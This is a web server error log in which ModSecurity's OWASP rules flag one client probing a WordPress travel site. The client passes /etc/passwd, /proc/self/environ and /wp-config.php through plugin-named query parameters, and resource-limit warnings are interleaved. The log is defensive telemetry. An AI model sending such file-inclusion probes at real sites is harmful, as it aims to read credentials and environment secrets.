[Fri Jul 17 08:55:57.842886 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlyQAAAA0"]
[Fri Jul 17 08:55:57.842897 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlKgAAAAI"]
[Fri Jul 17 08:55:57.843017 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.843348 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwlyQAAAA0"]
[Fri Jul 17 08:55:57.866135 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:google_language_translator: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UbwAAAAs"]
[Fri Jul 17 08:55:57.866319 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:google_language_translator: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UbwAAAAs"]
[Fri Jul 17 08:55:57.867133 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UbwAAAAs"]
[Fri Jul 17 08:55:57.867294 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.867750 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxcWFJ5vQjUlAF6-UbwAAAAs"]
[Fri Jul 17 08:55:57.871973 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:google_language_translator: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxQ5GPQ6hs4VrfMpB5wAAAAY"]
[Fri Jul 17 08:55:57.872155 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:google_language_translator: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxQ5GPQ6hs4VrfMpB5wAAAAY"]
[Fri Jul 17 08:55:57.872838 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxQ5GPQ6hs4VrfMpB5wAAAAY"]
[Fri Jul 17 08:55:57.873004 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.873427 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxQ5GPQ6hs4VrfMpB5wAAAAY"]
[Fri Jul 17 08:55:57.877706 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:google_language_translator: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTDAAAAB4"]
[Fri Jul 17 08:55:57.877897 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:google_language_translator: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTDAAAAB4"]
[Fri Jul 17 08:55:57.878766 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTDAAAAB4"]
[Fri Jul 17 08:55:57.878975 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.879384 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxVCBpfuYyhJ140vTDAAAAB4"]
[Fri Jul 17 08:55:57.882157 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.889939 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.895605 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.898559 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.905418 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:imagesloaded-js: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxXRlmrtCoY_COpcmPQAAAAg"]
[Fri Jul 17 08:55:57.906098 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxXRlmrtCoY_COpcmPQAAAAg"]
[Fri Jul 17 08:55:57.906233 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.906596 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxXRlmrtCoY_COpcmPQAAAAg"]
[Fri Jul 17 08:55:57.911132 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.913639 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:imagesloaded-js: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlLAAAAAI"]
[Fri Jul 17 08:55:57.914474 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlLAAAAAI"]
[Fri Jul 17 08:55:57.914643 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.915025 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlLAAAAAI"]
[Fri Jul 17 08:55:57.921706 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:imagesloaded-js: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UcQAAAAs"]
[Fri Jul 17 08:55:57.921872 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:imagesloaded-js: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UcQAAAAs"]
[Fri Jul 17 08:55:57.922567 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UcQAAAAs"]
[Fri Jul 17 08:55:57.922763 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.923194 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxcWFJ5vQjUlAF6-UcQAAAAs"]
[Fri Jul 17 08:55:57.927021 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.930690 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.942599 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.944032 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:imagesloaded-js: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlLQAAAAI"]
[Fri Jul 17 08:55:57.944188 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:imagesloaded-js: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlLQAAAAI"]
[Fri Jul 17 08:55:57.944861 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlLQAAAAI"]
[Fri Jul 17 08:55:57.945011 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
